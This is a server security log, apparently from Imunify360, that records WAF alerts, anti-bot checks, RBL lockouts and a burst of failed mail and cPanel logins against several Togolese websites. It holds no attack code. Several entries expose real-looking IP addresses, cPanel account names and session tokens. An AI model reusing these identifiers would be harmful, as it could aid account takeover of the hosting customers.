abuser: 209.50.173.196
country_id: 6252001
domain: afrique-distribution.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/afrique-distribution.net/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.98.183.239
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/672940372 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:39:08 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:39:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.242
country_id: 2300660
description:
Jun 20 15:41:25 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.242
country_id: 2300660
description:
Jun 20 15:41:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.12.1
country_id: 798544
description:
Jun 20 15:41:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.12.1 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:15:45:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776987&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970310 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:15:45:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054296&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970303 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:45:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657685&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970309 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.51
country_id: 6252001
description:
205.169.39.51 - - [20/Jun/2026:15:45:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868694&pdata=http%253A%252F%252Fmetaart.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970322 HTTP/1.1" 302 0 metaart.tg "http://metaart.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.51


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [20/Jun/2026:15:45:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856413&pdata=http%253A%252F%252Fmetaart.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970324 HTTP/1.1" 302 0 metaart.tg "http://metaart.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 185.213.83.144
country_id: 1643084
description:
[2026-06-20 15:44:57 +0000] info [cpaneld] 185.213.83.144 NEW vuvwskxh:071jbntv5Zg77lf_ address=185.213.83.144,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.93
country_id: 3469034
description:
Jun 20 15:45:04 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.93 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 3.85.80.207
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Possible XSS in arguments||MV:sig1=(\"@authority\" \"signature-agent\");created=1781970330;keyid=\"qdc6-vlwad4yd6yremqpjilim3bxffja_vhgl5qa71e\";alg=\"ed25519\";expires=1781970360;nonce=\"dxvub6jpexow 1aferjchhgdm25vsjmkp7etkd4mkocx on2hlykftljcuvne7j6\";tag=\"web-bot-auth\"||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.98
country_id: 6252001
description:
[2026-06-20 15:45:48 +0000] info [cpaneld] 107.175.5.98 NEW zykoahbv:bNIUq3w0DVxscaoF address=107.175.5.98,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.253
country_id: 2635167
domain: delxia.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/zykoahbv/public_html/.761846378574182.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 150.136.98.82
country_id: 6252001
description:
[2026-06-20 15:46:32 +0000] info [cpaneld] 150.136.98.82 - mouss "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mouss (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.86.34
country_id: 6252001
description:
[2026-06-20 15:46:32 +0000] info [cpaneld] 82.40.86.34 - wgqhqbem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.71.175
country_id: 6252001
description:
[2026-06-20 15:46:32 +0000] info [cpaneld] 217.181.71.175 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.126.93
country_id: 6252001
description:
[2026-06-20 15:46:32 +0000] info [cpaneld] 82.40.126.93 - hcbcmrio "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User hcbcmrio has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.105.16
country_id: 6252001
description:
[2026-06-20 15:46:32 +0000] info [cpaneld] 82.40.105.16 - tqttxcvn "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.56.240.221
country_id: 6252001
description:
[2026-06-20 15:46:33 +0000] info [cpaneld] 100.56.240.221 - lxsenjdd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:15:47:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001519&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970444 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.110.107
country_id: 6252001
description:
[2026-06-20 15:46:32 +0000] info [cpaneld] 82.40.110.107 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.123.254
country_id: 6252001
description:
[2026-06-20 15:46:33 +0000] info [cpaneld] 82.40.123.254 - lxsenjdd_farms "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd_farms (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:47:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10314088&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970445 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.195.183
country_id: 6252001
description:
47.89.195.183 - - [20/Jun/2026:15:47:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13026458&pdata=http%253A%252F%252F154.70.82.244%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970444 HTTP/1.1" 302 0 154.70.82.244 "http://154.70.82.244:2082/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.89.195.183


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 223.123.125.11
country_id: 1168579
description:
223.123.125.11 - - [20/Jun/2026:15:47:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10458735&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Felectrification-au-togo-vers-linstallation-de-50-000-lampadaires-solaires-dans-plusieurs-localites-du-pays%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970472 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftogodailynews.tg%2Felectrification-au-togo-vers-linstallation-de-50-000-lampadaires-solaires-dans-plusieurs-localites-du-pays%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:223.123.125.11


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.82.188
country_id: 6251999
description:
[2026-06-20 15:50:18 +0000] info [whostmgrd] 217.181.82.188 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 157.22.72.239
country_id: 2635167
domain: emt.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:SXWok*rKSIuEOewWe2IT@OttoHelpIe@.emt.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.144.79.102
country_id: 1269750
description:
2026-06-20 15:51:40 dovecot_login authenticator failed for H=([180.173.121.150]) [59.144.79.102]:50858: 535 Incorrect authentication data (set_id=collectetvabackend@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.144.79.102
country_id: 1269750
description:
Jun 20 15:51:38 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.144.79.102 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.4.4
country_id: 6252001
description:
[2026-06-20 15:55:27 +0000] info [cpaneld] 195.63.4.4 - ygeaivhj "GET / HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:54:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:54:58 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.120.116.162
country_id: 1168579
description:
Jun 20 15:55:02 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.120.116.162 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.252.189.172
country_id: 1562822
description:
171.252.189.172 - - [20/Jun/2026:15:55:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985416&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Ffiscal%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781970943 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/tag/fiscal/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.252.189.172


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.250.37.30
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/11/Forum-Royaume-Uni-Afrique-francophone-Ben-Coleman-felicite-le-President-du-Conseil-pour-sa-participation-remarquable-.-.webp 800w, http:/togodailynews.tg/wp-content/uploads/2025/11/Forum-Royaume-Uni-Afrique-francophone-Ben-Coleman-felicite-le-President-du-Conseil-pour-sa-participation-remarquable-.--300x216.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/11/Forum-Royaume-Uni-Afrique-francophone-Ben-Coleman-felicite-le-President-du-Conseil-pour-sa-participation-remarquable-.--768x554.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 15:56:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:22318: 535 Incorrect authentication data (set_id=344)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 15:56:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20572: 535 Incorrect authentication data (set_id=reference)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 15:56:28 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 15:56:47 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 15:57:05 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 15:56:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:65120: 535 Incorrect authentication data (set_id=reference)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 15:56:41 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 15:56:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:26770: 535 Incorrect authentication data (set_id=344)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 15:56:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1060: 535 Incorrect authentication data (set_id=host)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 15:56:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:52720: 535 Incorrect authentication data (set_id=agronomia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 15:56:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37408: 535 Incorrect authentication data (set_id=berger)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 15:56:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64092: 535 Incorrect authentication data (set_id=net9)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 15:57:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10372: 535 Incorrect authentication data (set_id=alyssa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 15:57:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:56334: 535 Incorrect authentication data (set_id=chocorosa)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.143.151
country_id: 2963597
description:
Jun 20 15:57:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.143.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.165.187
country_id: 2017370
description:
Jun 20 15:57:45 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.165.187 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.208
country_id: 2635167
description:
[2026-06-20 15:57:52 +0000] info [cpaneld] 5.230.153.208 NEW sodigaz:IxgylTCe55StNJxi address=5.230.153.208,app=cpaneld,creator=sodigaz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 15:57:54 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 15:57:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32350: 535 Incorrect authentication data (set_id=account)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 15:57:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 15:57:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16314: 535 Incorrect authentication data (set_id=funil-mailingboss)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.27.205.159
country_id: 1814991
description:
Jun 20 15:58:21 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.27.205.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 15:57:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 15:57:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:59158: 535 Incorrect authentication data (set_id=cellular)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 15:57:50 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 20 15:58:08 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 15:57:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:2552: 535 Incorrect authentication data (set_id=0)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 15:58:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:32300: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 15:58:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58260: 535 Incorrect authentication data (set_id=martine)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.120.44.130
country_id: 1210997
description:
103.120.44.130 - - [20/Jun/2026:15:58:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197961&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcooperation-le-togo-et-le-luxembourg-renforcent-leur-partenariat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971119 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/cooperation-le-togo-et-le-luxembourg-renforcent-leur-partenariat/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.8453.1785 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.120.44.130


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 15:58:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56468: 535 Incorrect authentication data (set_id=kredit)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 15:58:42 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 15:58:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:47730: 535 Incorrect authentication data (set_id=iwai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 15:58:42 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 15:58:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:14928: 535 Incorrect authentication data (set_id=action)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.247.215.245
country_id: 953987
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/www.gtaassurancesvie.tg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 15:58:52 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 15:58:58 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 15:59:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:17806: 535 Incorrect authentication data (set_id=ying)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.143
country_id: 3017382
description:
[2026-06-20 15:59:13 +0000] info [cpaneld] 5.231.255.143 NEW cietg:ZjVqyKGoIrSHKMRF address=5.231.255.143,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
